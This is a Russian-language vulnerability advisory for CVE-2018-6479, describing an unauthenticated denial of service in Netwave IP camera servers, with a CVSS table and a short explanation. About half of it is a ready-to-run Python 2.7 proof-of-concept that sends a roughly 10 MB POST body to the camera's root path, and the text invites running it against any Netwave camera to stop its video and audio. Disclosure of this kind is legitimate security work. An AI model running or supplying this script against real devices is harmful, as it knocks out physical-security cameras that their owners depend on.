
[CVE-2018-6479] Сервер IP-камеры Netwave уязвим к отказу в обслуживании (Denial of Service) из-за одного единственного огромного POST-запроса.
| CVE | Описание |
|---|---|
| CVE-2018-6479 | Неаутентифицированная удалённая уязвимость отказа в обслуживании |
| CVSS | Балл | Детали |
|---|---|---|
| 3 | 7.3 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:X/RL:W/RC:X |
В ходе исследования безопасности IoT были обнаружены некоторые уязвимости у разных производителей IP-камер. Netwave IP Camera — это сервер IP-камеры, который позволяет просматривать видео с камеры и управлять камерой. IP-камеры используются особенно для физической безопасности и целей контроля, поэтому их доступность критически важна.
Любую IP-камеру Netwave можно вывести из строя, просто отправив огромный POST-запрос на её корневой путь. После отправки запроса устройство зависает и прекращает потоковую передачу аудио и видео.
Проверка концепции: Запустите следующий скрипт Python 2.7 против любой IP-камеры NetWave — она мгновенно перестанет отвечать и передавать видео/аудио.
import string
import httplib
import urllib2
host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body
headers = {
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}
url = "/"
conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data
Gonzalo García León